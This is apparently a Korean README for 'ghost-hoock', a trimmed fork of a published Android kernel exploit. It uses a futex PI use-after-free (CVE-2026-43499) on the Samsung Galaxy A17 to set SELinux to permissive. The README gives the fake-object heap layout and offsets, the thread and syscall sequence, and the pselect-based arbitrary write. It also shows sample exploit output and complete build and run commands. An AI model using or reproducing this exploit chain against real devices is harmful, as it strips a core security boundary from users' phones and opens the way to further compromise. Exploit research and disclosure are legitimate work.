
GhostLock은 하나의 프리미티브로 축약되었다: futex PI UAF(CVE-2026-43499)를 통한 Galaxy A17(BZA5)에서의 SELinux 비활성화. root 없음, cred 패치 없음, rwforge 없음.
GhostLock의 최소 포크로, 단 하나의 프리미티브만 유지합니다: CVE-2026-43499(futex PI UAF)를 통한 SELinux 비활성화.
Samsung A17에서 실행 중인 ghost-hoock
ghost-hoock은 Mobile Hacking Lab의 GhostLock 익스플로잇을 간소화한 포크로, 단일 프리미티브로 축소되었습니다:
futex PI UAF를 통한 하나의 제한된 쓰기 ->
selinux_enforcing = 0.
루트 없음, cred 덮어쓰기 없음, rwforge 채널 없음, UMH 없음, configfs 없음. 취약한 커널에서 SELinux를 permissive 모드로 전환하는 데 필요한 최소한만 포함합니다.
Samsung Galaxy A17 (SM-A175F, BZA5) 에서의 출력 예시:
[] kernel: 6.12.23-android16-5-abA175FXXS5BZD2-4k
[+] offsets matched: 6.12.23-android16-5-abA175FXXS5BZD2-4k
[] init_cred image=ffffffc082512b08 alias=ffffff8002512b08
[+] startup context pid=10331 uid=2000 euid=2000 gid=2000 egid=2000 attr=u:r:shell:s0 enforce=1
[+] startup limits pid=10331 NoNewPrivs=0 Seccomp=0 Seccomp_filters=0
[+] build config pid=10331 label=ghost-hoock
[] p0 kernel_phys_load=0000000040000000 delta=0000000000000000 core=0
[] target selinux_enforcing=ffffff800277e560
[] W1 attempt 1/20
[] === W1: SELinux === target=0xffffff800277e560 mode=1
[] prepare_kernel_page ok attempt=1
[] pselect route setup simple=0 shift=0 page=ffffff806c4f0000 fake_lock=ffffff806c4f0000 ...
[] pselect returned ret=6 errno=0 calls=1 success=1 delay=0
[] pselect route done calls=1 success=1 step=0 errno=0
[+] SELinux DISABLED (attempt 1)
그런 다음:
$ getenforce
Permissive
getenforce가 Permissive를 반환
이 익스플로잇은 CVE-2026-43499를 대상으로 합니다 — Linux 커널의 futex PI(Priority Inheritance) rt_mutex 체인에서 발생하는 use-after-free입니다. ghost-hoock의 체인은 네 단계입니다:
커널의 futex 해시 테이블에 대한 타이밍 사이드 채널입니다. 사용자 공간 futex 집합에 FUTEX_WAKE_PRIVATE를 반복 호출하고, rdtsc 델타를 측정하여 해시 버킷 충돌을 상관 분석합니다. 이를 통해 우리 자신의 mm_struct 주소 — 나중에 필요한 스프레이 페이지의 베이스 — 를 복구합니다.
이것은 KernelSnitch 기법으로, 원본 익스플로잇에서 그대로 가져왔습니다.
큰 order-3 슬랩 페이지를 할당한 다음, PI 경로에서 사용하는 가짜 객체 레이아웃으로 배치합니다:
| 오프셋 | 객체 | 목적 |
|---|---|---|
0x0E80 | fake_lock | 가짜 rt_mutex |
0x0F80 | fake_fops | 가짜 file_operations 테이블 |
0x1180 | fake_w0 | 대상 트리로 사용되는 가짜 rt_mutex_waiter |
0x1240 | fake_right | 가짜 rb-tree 오른쪽 노드 — 쓰기 값이 여기서 나옵니다 |
0x1260 | fake_left | 가짜 rb-tree 왼쪽 노드 |
0x1280 | fake_task | 가짜 task_struct |
전체 페이지는 sendmsg의 SKB_SEND_SIZE = 2 * ORDER3_SIZE만큼 AF_UNIX 소켓을 통해 전송되어, skb 데이터가 유출된 페이지에 안착합니다. 그런 다음 통제된 순서로 해제하여 우리 페이지가 재확보 가능한 per-cpu partial 슬랩에 남도록 합니다.
세 개의 스레드:
f_wait에서 FUTEX_WAIT_REQUEUE_PI에 진입하여 f_pi_target을 대상으로 합니다.f_pi_target에 대해 FUTEX_LOCK_PI를 보유한 다음 f_pi_chain에 대해서도 보유합니다.sched_setattr(tid, SCHED_BATCH, nice=19)를 반복 호출하여, rt_mutex_setprio()를 트리거하고 커널이 가짜 PI 트리를 순회하도록 강제합니다.메인 스레드에서의 네 번째 호출 — FUTEX_CMP_REQUEUE_PI(1, f_pi_target) — 이 requeue를 시작합니다. 커널 내부에서 rb_erase()가 우리의 가짜 트리에 대해 실행됩니다.
pselect() / select()는 사용자의 fd_set을 커널 스택에 복사한 후 순회합니다. 커널이 rb-tree 포인터로 취급하는 워드가 fake_right와 그 부모에 위치하도록 fd_set 비트맵을 배치하면, 결과적인 rb_set_parent(child, parent)는 다음과 같이 됩니다:
*(uint64_t *)target = value | color
mode = 1(Write 1)의 경우, target = selinux_enforcing이고 value = base + 0x100이며, 이는 byte0 = 0, byte1 = 1로 인코딩됩니다. 커널은 selinux_enforcing[0]에 0을 씁니다 — 이제 SELinux는 permissive입니다.
ret = 6(기본값 9 대신)은 쓰기가 안착했음을 확인합니다: consumer가 select() 중에 대상을 맞아 조기에 깨어났기 때문입니다.
이것은 mobilehackinglab/ghostlock-a17(MIT)의 포크입니다. 다음은 업스트림 익스플로잇에서 1:1로 가져왔습니다:
| 구성 요소 | 파일 | 비고 |
|---|---|---|
| KernelSnitch | src/kernelsnitch/* | futex 해시 타이밍을 통한 mm_struct 유출 |
| 힙 스프레이 | src/spray.c | 가짜 객체 레이아웃, prepare_skb_payload, prepare_kernel_page |
| PI 경로 + pselect | src/route.c | prepare_pselect_fdsets, do_pselect_fake_lock_route, consumer_thread, waiter_thread, owner_thread |
| BZA5 오프셋 | include/offsets_bza5.h | 6.12.23-android16-5-abA175FXXS5BZD2-4k에서 추출한 심볼 테이블 |
| BZA5 대상 헤더 | include/target.h | 주소 레이아웃, 페이로드 오프셋(W1 서브셋만) |
| 런타임 구조체 오프셋 | include/runtime_struct_offsets.h | task_struct 필드용 _RSO() 매크로 |
보조 코드(pr_* 매크로, SYSCHK, pin_to_core, set_limit, set_unbuffer)도 원본에서 그대로 유지됩니다.
원본 GhostLock은 A17에서 완전한 루트를 달성합니다: rwforge 물리적 R/W 채널을 설치하고, cred / real_cred를 패치하고, init creds로 UMH 헬퍼를 실행하고, 로그를 캡처하는 등입니다. ghost-hoock에서는 첫 번째 제한된 쓰기 이후의 모든 것이 제거되었습니다.
| 제거된 파일 | 원본에서 존재한 이유 |
|---|---|
rwforge_a17.c | pipe_buffers를 통한 Marching-forger 물리적 R/W 채널 |
pipe_physrw.c, pipe_reclaim.c | 파이프 버퍼 재확보 -> 임의 커널 읽기/쓰기 |
root.c | cred / real_cred 덮어쓰기, su 설치, SELinux SID 패칭 |
umh_root.c, wq_umh_root() (main.c 내) | 위조된 커널 workqueue 항목에서 init-creds 헬퍼 실행 |
slide.c | boot_id 오라클을 통한 KASLR 유출 — BZA5에서는 불필요, KASLR이 꺼져 있음 |
miniadb.c | ADB TCP를 통한 부트스트랩 |
try_cfi_stage() (fops.c 내) | 루트 경로를 부트스트랩하는 데 사용된 CFI 친화적 configfs 단계 |
run_rwforge(), run_bootid_oracle(), rwforge_root_and_capture() | 전체 루트 파이프라인 |
install_embedded_su(), install_embedded_wallpaper() | 루트 설치 헬퍼 |
Write 2 (cred), patch_cred_*, patch_task_seccomp | W1 이후 자격 증명 탈취 |
원본 GhostLock은 이 포크보다 더 완전하고 강력합니다. ghost-hoock은 대체물이 아닙니다 — SELinux를 끄는 하나의 좁은 작업을 위한 최소 PoC입니다.
$PATH에 clang과 make가 필요합니다. Termux에서 테스트되었으며, 툴체인이 있으면 adb shell을 통해서도 작동합니다.
git clone https://github.com/genksome/ghost-hoock
cd ghost-hoock
make
출력: ./ghost-hoock (aarch64, PIE).
Android NDK를 통한 빌드 (PC에서)
make NDK=/path/to/android-ndk-r26
또는 수동으로:
/path/to/ndk/toolchains/llvm/prebuilt/linux-x86_64/bin/aarch64-linux-android21-clang \
-O2 -Isrc -Isrc/kernelsnitch -Iinclude \
-D_GNU_SOURCE -D__ARM=1 -DTARGET_CONFIG_H='"target.h"' \
-fPIE -pie -pthread \
src/main.c src/spray.c src/route.c -o ghost-hoock
크로스 컴파일 확인
file ghost-hoock
# ghost-hoock: ELF 64-bit LSB pie executable, ARM aarch64, ...
# copy the binary somewhere readable from the shell context
cp ghost-hoock /data/local/tmp/
chmod 755 /data/local/tmp/ghost-hoock
# confirm SELinux is currently enforcing
getenforce
# -> Enforcing
# run
/data/local/tmp/ghost-hoock
# verify
getenforce
# -> Permissive
옵션
ghost-hoock [options]
--attempts N number of W1 attempts (default: 20)
--no-drain skip slab_drain before each W1 attempt
-h, --help show help
환경 변수